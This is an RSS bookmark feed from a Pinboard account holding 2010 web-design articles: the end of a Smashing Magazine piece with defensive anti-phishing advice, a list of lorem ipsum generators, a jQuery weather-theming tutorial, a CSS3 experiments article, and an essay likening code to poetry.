6. PhishingPhishing is the process where an attacker tricks your users into handing over their login credentials.  The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar.  Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site.  The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.
Always serve your login page over SSL.  This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.Use one and only one URL for user log in, and make it short and easy to recognize.  For our example website, we could use https://login.mybiz.com as our login URL.  It’s important that when the user sees a login form for our website, they also see this URL in the URL bar.  That trains users to be suspicious of login forms on other URLsDo not allow partners to ask your users for their credentials on your site.  Instead, if partners need to pull user data from your site, provide them with an OAuth based API.  This is also known as the Password Anti-Pattern.Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!).  This is an image that the user selects on your website, that only the user and your website know about.  When the user sees this image on the login page, they know that this is the right page.  Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.
SummaryWhile we’ve covered a lot in this article, it still only skims the surface of web application security.  Any developer interested in building truly secure applications has to be on top of their game at all times.  Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in.  Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.
Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.
Further readingOWASP Top 10 security risksXSSCSRFPhishingCode injectionPHP’s input filtersPassword anti-patternOAuthFacebook Like button click-jackingAnti-anti frame-bustingThe Yahoo! Security Center also has articles on how users can protect themselves online.© Philip Tellis for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine Post tags: click-jacking, csrf, PHP, security, SQL, xss 
]]></description>
<dc:subject>Coding click-jacking csrf PHP security SQL xss</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:ed72968c3e79/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:click-jacking"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:csrf"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:PHP"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:SQL"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:xss"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.1stwebdesigner.com/freebies/alternatives-lipsum-com/">
    <title>18 Handy Alternatives to Lipsum.Com for Dummy Content</title>
    <dc:date>2010-08-05T21:00:30+00:00</dc:date>
    <link>http://www.1stwebdesigner.com/freebies/alternatives-lipsum-com/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[Lorem ipsum dolor sit amet… most designers probably have these few words embedded in their heads from seeing them over and over. This is dummy text, otherwise known as Lorem Ipsum. I’m not going to give you a history lesson, but it is helpful to know that it is in Latin — because most people just think that it’s gibberish. When you do a Google Search on ‘Lorem Ipsum’, the first hit is Lipsum.Com. Now, don’t get me wrong, Lipsum is a great resource for getting chunks of the text and learning more, but there are other websites out there that can do an even better job as well. So, here they are — alternatives to Lipsum.Com.

1. LoremIpsum.Net


LoremIpsum.Net is a small and simple static site that provides you with a decent sized passage without having to use a generator. The site also provides an all caps version of the text, as well as translations, and an explanation of what this famous passage means.

What Sets it Apart: Very Simple. No Generator Needed.

2. Lorem-Ipsum.Info


The main site of lorem-ipsum.info contains general info as well as translations. They also have a generator that looks pretty nice. It lets you choose Lorem Ipsum in a different language and the amount of words/paragraphs that you want to generate.

What Sets it Apart: Generates text in different languages.

3. Malevole Text Generator


This is a text generator that makes real paragraphs, not lorem ipsum! I don’t know what it does make, but it is readable English and provides pretty balanced text (graphically). You have the option to create 1 to 5 paragraphs.

What Sets it Apart: Creates dummy text that is in English.

4. Lorem Ipsum Generator


This Lorem Ipsum Generator creates HTML markup, as well as giving you dummy Text. Because of this it will help you perfect your web typography with added b, i and p tags.

What Sets it Apart: Adds various different tags

5. jHTML-Ipsum


This is a jQuery plugin that will create HTML elements using Lorem Ipsum. It dynamically creates the text, so you don’t have to end up removing all of the Lorem Ipsum later. Helps figure out how you will style your web type and CSS.

What Sets it Apart: ‘Make your own’ solution

6. WP Dummy Content


This is a WordPress plugin that generates dummy posts when developing and testing your WordPress theme! It also makes fake titles, and multiple length paragraphs. In one click you have an entire set of dummy content.

What Sets it Apart: You can remove all of the dummy data in one click.

7. Lorem Ipsum Generator – Chrome Extension


This is a Lorem Ipsum Generator for Chrome! It’s quite simple and minimalist in design. You can choose the amount of words and paragraphs you want to generate.

What Sets it Apart: Convenient and easy to use.

8. Greeking Machine


This ‘Greeking Machine’ generates dummy text in many different forms. Like the others, you can choose how much text you want to generate. There are also many languages or forms to choose from, so you aren’t just stuck with boring ‘Lorem Ipsum’.

What Sets it Apart: Cool Languages like, “The Matrix, and Hillbilly”

9. Lorem Ipsum 2.0


This generator is pretty cool! It’s ‘Community generated greeking’, which means that it takes text from community powered sites and presents it to you as dummy text for you to use. It gives you pretty random results, but at least it isn’t Lorem Ipsum!

What Sets it Apart: Fun to use and play around with.

10. Blind Text Generator


This Blind Text Generator creates dummy text in many different forms! You can choose Lorem Ipsum, Panagrams, The alphabet or other English passages. It’s quite easy to use and gives you a bunch of options!

What Sets it Apart: Great if you’re tried of using Lorem Ipsum for your dummy text.

11. Lorem Ipsum Generator



This is yet another Lorem Ipsum Generator. It gives you the option to get the text as a plain text file or HTML file, and to pick how long you want your passage.

What Sets it Apart: Many different options.

12. Sample WordPress Content


This is a .xml file which you can import into your WordPress blog! It creates dummy posts, comments, categories, tags, and pages as well as adds common styling elements such as blockquotes and lists.

What Sets it Apart: Saves lots of time!

13. HTML-Ipsum


HTML-Ipsum provides code snippets rather than just plain text. Of course it features Lorem Ipsum, but it really is a great resource when designing webpages. They even have a kitchen sink, which is the body of a webpage template with necessary code structure and dummy text!

What Sets it Apart: Very useful. One click copy to clipboard.

14. Lorem Ipsum Generator


This Lorem Ipsum Generator lets you pick out how many characters, words and sentences you want. It explains lorem ipsum and shows you translated passages.

What Sets it Apart: Lets you start with something other than ‘Lorem ipsum dolor…’

15. Dynamic Dummy Image Generator


The Dynamic Dummy Image Generator is basically what the title says – a dummy image maker! It’s quite useful when creating web layouts, even for creating dummy advertisements and such. This LifeHacker post explains it all quite well!

What Sets it Apart: One of a kind and very useful!

16. Lorem Ipsum Paragraph


This is a code snippet at CSS-Tricks. It’s a paragraph of Lorem Ipsum text. Simple. Just copy the paragraph and you’re on your way! No fuss included.

What Sets it Apart: Not a Generator!

17. Lorem Ipsum Post Generator


This is a Lorem Ipsum plugin for Wordpress! This plugin can be a lifesaver when designing wordpress themes. It creates dummy posts and comments that help test your styling elements.

What Sets it Apart: Conveniently accessible!

18. The Dummy Content File


This is another .xml file that you can import into WordPress! It creates a lot of useful things like posts, pages, tags, categories and non-admin comments!

What Sets it Apart: Includes Typographic Elements in it

Do you use any of these resources? Or what about one that wasn’t listed? Let us know below!


  
]]></description>
<dc:subject>Resources coding dummy_text lorem_ipsum plugins webdesign Wordpress</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:44fe67a5cd5d/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Resources"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:dummy_text"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:lorem_ipsum"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:plugins"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:webdesign"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Wordpress"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://line25.com/articles/style-your-site-according-to-the-weather-with-jquery">
    <title>Style Your Site According to the Weather with jQuery</title>
    <dc:date>2010-07-12T05:00:35+00:00</dc:date>
    <link>http://line25.com/articles/style-your-site-according-to-the-weather-with-jquery</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[By pulling in feed from the Yahoo API with jQuery, you can style your website according to the Weather! Find out how by following this step by step guide. We’ll start by creating four backgrounds for sun, rain, snow and cloudy, then use a clever jQuery script to pull in the forecast. To finish things off, we’ll even create a cool manual override, allowing users to switch through the various themes themselves.





I recently put this idea into practice on a site I hashed together for my dog Jake. Jakethelab.com is a Tumblr blog where I post random photos and videos from my iPhone. The theme of the site changes depending on the weather, with Jake being the happiest when it’s sunny and cloudy, and not so much when it’s rainy or snowy. I wasn’t brainy enough to code all the Javascript myself, so some scripts from other talented developers were used alongside a few lines of my own basic jQuery. A few people has asked how it was all done, so here’s a brief overview.

Create the themes


The four themes of the site were put together as large background images. The same layout is used for each, but the overall theme changes to show the four weather conditions of sunny, rainy, snowy and cloudy.

Fetch the weather feed


$(document).ready(function() {

$.YQL = function(query, callback) {
    var encodedQuery = encodeURIComponent(query.toLowerCase()),
        url = 'http://query.yahooapis.com/v1/public/yql?q='
            + encodedQuery + '&format=json&callback=?';
    $.getJSON(url, callback);
};
$.YQL("select * from rss where url='http://weather.yahooapis.com/forecastrss?p=UKXX0133'",function(data){
            var w=data.query.results.item;
          var class=w.condition.text;
          var encodedclass = class.replace(/\s+/g, '-').toLowerCase();

          $('body').addClass(encodedclass);

       });
});


The script that does all the work by fetching the feed from Yahoo is courtesy of Justin Shearer from Graphically Herding the Masses. Justin’s post takes the API to a more advanced level and creates a complete weather widget. For our site we only need part of the code, and the rest is modified to suit.

With our weather being used as a class on the page body, the condition needed encoding to lower case and the spaces removed. This changed the text from this: Partly Cloudy to this: partly-cloudy. Next, the encodedclass variable was then added as a class to the page body, so the HTML would read <body class="partly-cloudy">, which could then be styled up with CSS.


http://weather.yahooapis.com/forecastrss?p=USNY0996

If you’re using this code on your own site, you’ll want to change the location of the weather feed. The easiest way to find your location code is to head over to Yahoo weather and check the URL of the RSS feed for your particular location. 

Write the CSS styles


body.cloudy, body.partly-cloudy, body.mostly-cloudy {
background: #b3c6e4 url(Cloudy.jpg) fixed center bottom no-repeat;
}
body.rain, body.thunderstorms, body.drizzle, body.showers, body.thundershowers, body.scattered-showers, body.scattered-thunderstorms, body.isolated-thunderstorms {
background: #9eacaf url(Rainy.jpg) fixed center bottom no-repeat;
}
body.sunny, body.fair, body.hot {
background: #8cdafe url(Sunny.jpg) fixed center bottom no-repeat;
}
body.snow, body.mixed-rain-and-snow, body.mixed-rain-and-sleet, body.snow-flurries, body.light-snow-showers, body.blowing-snow, body.hail, body.sleet, body.snow-showers, body.heavy-snow {
background: #889986 url(Snowy.jpg) fixed center bottom no-repeat;
}


With the current weather being injected right into our HTML, we can now write some CSS to make the appropriate changes to the website. Here’s where the list of Condition Codes from Yahoo Weather comes in handy because a bunch of classes are used to render each of the four backgrounds. For instance, a class of sunny, fair or hot will show the sunny background image. We don’t tend to get very many tropical storms in the UK, so just the most common conditions are picked out.

Add a manual override


Unless a user comes back to your website during every weather condition, they may never see your other themes so I figured it would be cool to add a manual override to allow users to toggle through the weather themselves.



<ul id="weather">
 <li class="cloudy"><a href="#">Cloudy</a></li>
 <li class="sunny"><a href="#">Sunny</a></li>
 <li class="rainy"><a href="#">Rainy</a></li>
 <li class="snowy"><a href="#">Snowy</a></li>
 </ul>


A simple list is laid out in HTML. Each list item contains an anchor which we’ll style up into button style graphics.



ul#weather {
position: absolute; top: 40px; left: 40px;
list-style: none; display: none;
}
ul#weather li {
margin: 0 0 12px 0;
}
ul#weather li a {
display: block; width: 60px;
background: url(weather-icons.png) no-repeat; text-indent: -9999px;
}
ul#weather li.cloudy a {
height: 32px; background-position: 0 0;
}
ul#weather li.sunny a {
height: 63px; background-position: 0 -43px;
}
ul#weather li.rainy a {
height: 50px; background-position: 0 -115px;
}
ul#weather li.snowy a {
height: 48px; background-position: 0 -177px;
}


The buttons are firstly moved into place using absolute positioning. This places them in a fixed position at the top left of the screen. Each anchor is then transformed into a button using CSS image replacement, with each button displaying a simple weather condition icon. Because this feature will only work if the user has Javascript enabled display:none; is used, the buttons will be made visible again by jQuery for those users with JS enabled.



$('ul#weather').show();

$('li.cloudy').click(function() {
$('body').removeClass();
$('body').addClass('cloudy');
return false;
});
$('li.sunny').click(function() {
$('body').removeClass();
$('body').addClass('sunny');
return false;
});
$('li.rainy').click(function() {
$('body').removeClass();
$('body').addClass('rain');
return false;
});
$('li.snowy').click(function() {
$('body').removeClass();
$('body').addClass('snow');
return false;
});


A simple jQuery function is then written for each of the four buttons. When the button is clicked, the current class is removed from the page body and replaced according to whichever button was clicked. return false; disables the default action of the anchor to prevent the page from jumping back to the top.



var name = "#weather";
    var menuYloc = null;
   menuYloc = parseInt($(name).css("top").substring(0,$(name).css("top").indexOf("px")))  

   $(window).scroll(function () {
   var offset = menuYloc+$(document).scrollTop()+"px";
   $(name).animate({top:offset},{duration:500,queue:false});
});


To finish off the buttons, a nifty piece of code from Nettuts is used to transform the buttons into a floating menu, which slides up and down the page when the user scrolls.



See it in action on jakethelab.com


    
]]></description>
<dc:subject>Articles coding css effects html interface javascript jquery techniques tips tutorial weather web_design</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:a469eb884d0d/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Articles"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:css"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:effects"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:html"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:interface"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:javascript"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:jquery"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:techniques"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:tips"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:tutorial"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:weather"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:web_design"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2010/05/27/css-three-connecting-the-dots/">
    <title>CSS Three — Connecting The Dots</title>
    <dc:date>2010-05-27T10:18:21+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2010/05/27/css-three-connecting-the-dots/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    As a web community, we’ve made a lot of exciting progress in regards to CSS3.  We’ve put properties like text-shadow & border-radius to good use while stepping into background-clip and visual effects like transitions and animations. We’ve also spent a great deal of time debating how and when to implement these properties.  Just because a property isn’t widely supported by browsers or fully documented at the moment, it doesn’t mean that we shouldn’t be working with it.  In fact, I’d argue the opposite.
Best practices for CSS3 usage need to be hashed out in blog posts, during spare time, and outside of client projects.  Coming up with creative and sensible ways to get the most out of CSS3 will require the kind of experimentation wherein developers gladly trade ten failures for a single success. Right now, there are tons of property combinations and uses out there waiting to be discovered. All we have to do is connect the dots. It’s time to get your hands dirty and innovate!

[Offtopic: by the way, did you know that Smashing Magazine has one of the most influential and popular Twitter accounts? Join our discussions and get updates about useful tools and resources — follow us on Twitter!]
Where do I start?One of my favorite things to do is to scan a list of CSS properties and consider which ones might work well together.  What would be possible if I was to connect @font-face to text-shadow and the bg-clip:text property?  How could I string a webkit-transition and opacity together in a creative way?  Here are a few results from experiments I’ve done recently. While some may be more practical than others, the goal here is to spark creativity and encourage you to connect a few dots of your own.
Note: While Opera and Firefox may soon implement specs for many of the CSS3 properties found here, some of these experiments will currently only work in Webkit-browsers like Google Chrome or Safari.
Example #1: CSS3 TransitionsA safe place to start with CSS3 visual effects is transitioning a basic CSS property like color, background-color, or border on hover.  To kick things off, let’s take a link color CSS property and connect it to a .4 second transition.

Start with your link CSS, including the hover state:
a { color: #e83119; }
a:hover { color:#0a99ae; }Now, bring in the CSS3 to set and define which property you’re transitioning, duration of transition and how that transition will proceed over time.  In this case we’re setting the color property to fade over .4 seconds with an ease-out timing effect, where the pace of the transition starts off quickly and slows as time runs out. To learn more about timing, check out the Surfin’ Safari Blog post on CSS animations.  I prefer ease-out most of the time simply because it yields a more immediate transition, giving users a more immediate cue that something is changing.
a {
-webkit-transition-property: color;
-webkit-transition-duration:.4s;
-webkit-transition-timing:ease-out;
}You can also combine these into a single CSS property by declaring the property, duration, and timing function in that order:
a { -webkit-transition: color .4s ease-out; }View the live example here
The final product should be a red text link that subtly transitions to blue when users hover with their mouse pointer.  This basic transitioning technique can be connected to an infinite amount of properties.  Next, let’s let’s create a menu bar hover effect where border-thickness  is combined with a .3 second transition.

To start, we’ll set a series of navigation links with a 3 pixel bottom border, and a 50 pixel border on hover:
border-nav a { border-bottom: 3px solid #e83119 }
border-nav a:hover { border-bottom: 50px solid #e83119 }To bring the transition into the mix, let’s set a transition to gradually extend the border thickness over .3 seconds in a single line of CSS:
border-nav a { -webkit-transition: border .3s ease-out; }View the live example here
ExamplesThis is just one example of how to use these transitions to enhance links and navigation items.  Here are a few other sites with similar creative techniques:
Team Excellence The webkit transition on all navigation items, including the main navigation set at .2s provides a nice effect without making visitors wait too long for the hover state.

Ackernaut Ackernaut has subtle transitions on all link hovers, and extends the property to fade the site header in/out.

SimpleBits The SimpleBits main navigation transitions over .2 seconds with linear timing.

DesignSwap On DesignSwap, all text links have a .2 second transitions on hover and the swapper profiles fade out to real details about the latest designs.

Jack Osborne Jack Osborne transitions all of the blue links as well as the post title link on his home page.

Eric E. Anderson Eric E. Andersion has taken CSS3 implementation even further by implementing a transition on his main navigation for background color and color alongside border-radius and box-shadow.

Example #2: Background ClipWhen connected to properties like text-shadow and @font-face, the background-clip property makes all things possible with type. To keep things simple, we’ll start with taking a crosshatch image and masking it over some text.  The code here is pretty simple.  Start by wrapping some HTML in a div class called bg-clip:
<div class="bg-clip">
<h3>kablamo!</h3>
</div>
Now to the CSS.  First, set the image you will be masking the text with as the background-image.  Then, set the -webkit-text-fill-color to transparent and define the -webkit-background-clip property for the text.
.bg-clip {
background: url(../img/clipped_image.png) repeat;
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}View the live example here
This opens the door for you to start adding texture or other graphic touches to your type without resorting to using actual image files.  For even more CSS3 text experimentation, we can add the transform property to rotate the text (or any element for that matter) to any number of degrees.  All it takes is a single line of CSS code:
-webkit-transform: rotate(-5deg);
-moz-transform: rotate(-5deg);
-o-transform: rotate (-5deg);
Note: While background-clip isn’t available in Firefox or Opera, the transform property is, so we’ll set this for each browser.
View the live example here
ExamplesThis is a fairly simple implementation, but there are quite a few really interesting and innovative examples of this technique:
Trent Walton An experiment of my own, combining bg-clip and @font-face to recreate a recent design.

Neography An excellent example of what is possible when you throw rotate, bg-clip and @font-face properties together.

Everyday Works One of the earliest innovative implementations of CSS text rotation I’ve seen.

Panic Blog The Panic blog randomly rotates divs / posts. Be sure to refresh to see subtle changes in the degree of rotation.

Sam Brown Sam’s got a really nice text-rotate hover effect on the “stalk” sidebar links.

Example #3: CSS Transforms, Box Shadow and RGBaWhat used to take multiple divs, pngs and extra markup can now be accomplished with a few lines of CSS code.  In this example we’ll be combining the transform property from example 2 with box-shadow and RGBa color.  To start things off, we’ll create 4 image files, each showing a different version of the Smashing Magazine home page over time with a class for the shadow and a specific class to achieve a variety of rotations.

Here’s the HTML:
<div class="boxes">
<img class="smash1 shadowed" src="../img/smash1.jpg" alt="2007"/>
<img class="smash2 shadowed" src="../img/smash2.jpg" alt="2008"/>
<img class="smash3 shadowed" src="../img/smash3.jpg" alt="2009"/>
<img class="smash4 shadowed" src="../img/smash4.jpg" alt="2010"/>
</div>Let’s set up the CSS for the RGBA Shadow:
.shadowed {
border: 3px solid #fff;
-o-box-shadow: 0 3px 4px rgba(0,0,0,.5);
-moz-box-shadow: 0 3px 4px rgba(0,0,0,.5);
-webkit-box-shadow: 0 3px 4px rgba(0,0,0,.5);
box-shadow: 0 3px 4px rgba(0,0,0,.5);
}Before moving forward, let’s be sure we understand each property here. The box-shadow property works just like any drop shadow.  The first two numbers define the shadow’s offset for the X and Y coordinates.  Here we’ve set the shadow to 0 for the X, and 3 for the Y.  The final number is the shadow blur size, in this case it’s 4px.
RGBa is defined in a similar manner. RGBa stands for red, green, blue, alpha.  Here we’ve taken the RGB value for black as 0,0,0 and set it with a 50% alpha level at .5 in the CSS.
Now, let’s finish off the effect by adding a little CSS Transform magic to rotate each screenshot:
.smash1 { margin-bottom: -125px;
-o-transform: rotate(2.5deg);
-moz-transform: rotate(2.5deg);
-webkit-transform: rotate(2.5deg);
}.smash2 {
-o-transform: rotate(-7deg);
-moz-transform: rotate(-7deg);
-webkit-transform: rotate(-7deg);
}.smash3 {
-o-transform: rotate(2.5deg);
-moz-transform: rotate(2.5deg);
-webkit-transform: rotate(2.5deg);
}.smash4 {
margin-top: -40px;
-o-transform: rotate(-2.5deg);
-moz-transform: rotate(-2.5deg);
-webkit-transform: rotate(-2.5deg);
}View the live example here
ExamplesHere are a few additional sites with these properties implemented right now:
Butter Label This site is jam packed with well-used CSS3.  Notice the transform and box-shadow properties on the subscribe form.

Hope 140 Another site with plenty of CSS3 enhancements, Hope 140’s End Malaria campaign site features a collage of photographs that all have the same shadow & transform properties outlined in our example.

For A Beautiful Web For A Beautiful Web utilizes RGBa and box-shadow for the overlay video clips boxes linked from their 3 master-class DVDs.  While you’re there, be sure to note the transforms paired with the DVD packaging links.

Simon Collison Simon Collison has implemented RGBa and box-shadow on each of the thumbnail links for his new website.

Example #4: CSS3 AnimationsIf you really want to push the envelope and truly experiment with the latest CSS3 properties, you’ve got to try creating a CSS3 keyframe animation.  As a simple introduction, let’s animate a circle .png image to track the outer edges of a rectangle.  To begin, let’s wrap circle.png in a div class:
<div class="circle_motion">
<img src="/img/circle.png" alt="circle"/>
</div>
The first step in the CSS will be to set the properties for .circle_motion, including giving it an animation name:
.circle_motion {
-webkit-animation-name: track;
-webkit-animation-duration: 8s;
-webkit-animation-iteration-count: infinite;
}Now, all that remains is to declare properties for each percentage-based keyframe.  To keep things simple here, I’ve just broken down the 8 second animation into 4 quarters:
@-webkit-keyframes track {
0% {
margin-top:0px;
}
25% {
margin-top:150px;
}
50% {
margin-top:150px;
margin-left: 300px;
}
75% {
margin-top:0px;
margin-left: 300px;
}
100% {
margin-left:0px;
}
}View the live example here
ExamplesA few examples of CSS3 animations online now:
Hope 140 Hope 140 subtly animates their yellow “Retweet to Donate $10” button’s box shadow.

Hardboiled Web Design Andy Clarke puts iteration count, timing function, duration and delay properties to good use when animating a detective shadow across the background of Hardboiled Web Design.

Optimum7 Anthony Calzadilla has recreated the Spider Man opening credits using CSS3 with JQuery and HTML5.  You can also learn more about the process in his article “Pure CSS3 Spiderman Cartoon w/ jQuery and HTML5 – Look Ma, No Flash!”.

The Many Faces Of… The Many Faces Of… animates the background position of a div to create an effect where characters creep up from the bottom of the page.

Trent Walton I recently wrote a post about CSS3 usage, and animated a blue to green to yellow background image for the masthead.

OK, Dots connected!  Now what?Yes, all of this CSS3 stuff is insanely exciting.  If you’re like me, you’ll want to start finding places to use it in the real world immediately.  With each new experimental usage come even more concerns about implementation.  Here are a few of my ever-evolving opinions about implementing these properties online for your consideration.
CSS3 enhancements will never take the place of solid user-experience design.Motion and animation demands attention. Think about a friend waving to get your attention from across a crowded room or a flashing traffic light. Heavy-handed or even moderate uses of animation can significantly degrade user experience.  If you are planning on implementing these techniques on a site with any sort of A to B conversion goals, be sure to consider the psychology of motion.Don’t make people wait on animations.  Especially when it comes to hover links, be sure there is an immediate state-change cue.Many of these effects can be used in a bonus or easter-egg type of application.  Find places to go the extra mile.This is a group effort.  Don’t be afraid of failure, enlist the help of other developers, join the online discussions, and above all, have fun!
Further ReadingUsing CSS3 Transitions, Transforms and Animation A very extensive and detailed overview of CSS3 techniques for transitions, transforms and animations, with numerous examples.Sexy Interactions with CSS Transitions many of us have never created animations in JavaScript, Flash or some other environment before, and are therefore not as well-versed in the unwritten rules of the animation world. This article explains how to create nice CSS transitions with CSS3.Examples of CSS3 in the Wild Showcase of sites using CSS3 properties.CSS3 Transitions – Are We There Yet?Cross-Browser Animated CSS Transforms — Even in IE.Related ArticlesYou may be interested in the following related posts:
CSS3 Solutions for Internet ExplorerThe Future Of CSS TypographyWeb Design Trends 2010: Real-Life Metaphors and CSS3 Adaptation© Trent Walton for Smashing Magazine, 2010. | Permalink | 71 comments | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine Post tags: CSS, css3, HTML 
]]></description>
<dc:subject>Coding CSS css3 HTML</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:7491ea7d570a/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:CSS"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:css3"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:HTML"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2010/05/05/the-poetics-of-coding/">
    <title>The Poetics Of Coding</title>
    <dc:date>2010-05-05T13:34:57+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2010/05/05/the-poetics-of-coding/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    There is little doubt that WordPress is one of the most popular blogging and content management platforms out there today. This is not an article about WordPress, though, but rather a more general musing on one of its thought-provoking taglines: “Code Is Poetry.”
That’s an interesting metaphor. Recently, I’ve written about the different languages used by designers and developers, and also about the relationship between these coding languages and proper human language (specifically, English). As someone who graduated from university with a degree in English Literature and came to Web design in a roundabout way, this kind of thinking has always interested me.
As has this apparent connection between code and poetry. What does the metaphor mean? I took some time to really think about this relationship and discovered that the people at WordPress got it right (again). Code really is similar to poetry!
 [By the way: The network tab (on the top of the page) is updated several times a day. It features selected articles from the best web design blogs!]A Superficial SimilarityTo start off, code and poetry have a somewhat obvious and entirely superficial similarity, and we may as well begin there. Here is a poem I wrote a few years ago:
A man in a suit, standing on an old stone bridge, sees the reflection of himself in the water flowing, unhindered, below.
I promise this will be the only work of mine that I include here, but let’s compare it to some snippets of simple code, starting with HTML:

<body>
  <div id=”content”>
    <h1>The Title</h1>
    <p>Some content</p>
  </div>
</body>
Now look at some CSS:

div {
  border: 1em 0px;
  background-color: #444
  border: 1px solid #222;
}
And finally some JavaScript:

function cubeMe(x){
  var answer = x*x*x;
  alert(answer);
}
I want to highlight two key elements: the short lengths and the prominent indentation. These are both common elements of poetry and code (though not absolutely necessary to either).
This comparison is superficial at best, and there is a much stronger connection to explore. Still, this basic similarity reveals a certain visual relationship between code and poetry, which gives us an interesting entry point to discuses the subject.
A Master’s ArtThis code-is-poetry metaphor comes at least partly from a perception of poetry as the master’s craft. Whether you love or hate it (and I know a lot of people hate it), there has always been a general sense that poetry sits at the apex of the written word, as though poets sit in an ivory tower, composing lines with a golden pen.

Of course, the reality is strikingly different. A lot of really bad poetry is out there, written by people who call themselves poets just because they can rhyme words at the end of two lines.
Does that sound familiar?
How similar is this to the proverbial “nephew”? You know the one: that kid who read the introduction to a high-school textbook about the Web, figured out a few HTML tags and is now driving you crazy with his offer of a “Web design” for $100 and a six-pack of beer. Makes you want to tear your hair out, doesn’t he?
Anyone who has been at this Web design thing for a while (or at least anyone who takes themselves seriously) would agree that there’s more to the job than hacking out content wrapped in a bunch of poorly structured and entirely non-semantic HTML. For those of us who strive to be masters of our craft, code is so much more.
Code has purpose and meaning. It requires structure. It should be lightweight and elegant, not bogged down with lines and lines of garbage. Writing great code isn’t something that just happens. It takes discipline and work! It’s an art unto itself.
Feeling impassioned yet? If so, you might have the heart of a poet. I’ll tell you why.
Of Pen And PurposeEvery good poem has a purpose. The purpose need not be so lofty as to change the world or to establish a new school of thinking, but every good poem needs a purpose. Of course, nothing is surprising about this. Many mediocre and poor poems are written with a purpose. The difference is in execution.
If a poem is written for a particular purpose, then the composition should reflect that purpose. The structure, word choice, subject and tone should all work together to support the primary purpose. For example, the purpose of Coleridge’s “Kubla Khan” is to capture the imagery of one of the poet’s (opium-induced) dreams. It famously opens:
In Xanadu did Kubla Khan A stately pleasure-dome decree: Where Alph, the sacred river, ran Through caverns measureless to man Down to a sunless sea.
The poem continues on in much the same tone, fully of lyrical and Romantic language by which Coleridge captures the essence of his dream. His word choice and form help the poem achieve its purpose.

A limerick is a different kind of poem altogether, one generally intended to be witty or humorous (and sometimes just plain crude). Here is one of the limericks I remember best:
There was an old man from the Cape, Who made himself garments of crepe. When asked if they tear he replied, “Here and there, But they keep such a beautiful shape!”
All limericks follow this structure and share this cadence, which contribute to the overall effect. The rhythm makes the text sound silly and light-hearted, whatever the actual words. While the poem is vastly different from Coleridge’s Romantic vision, it too demonstrates a keen understanding of its purpose.
Our code should be much the same. Different kinds of code serve different purposes and should be used accordingly. In Web design, the most cliched example is using tables for layout purposes. The HTML table tags were intended to present information in tabular format, not to structure an entire document. Using it in the latter way is a misappropriation of its purpose.
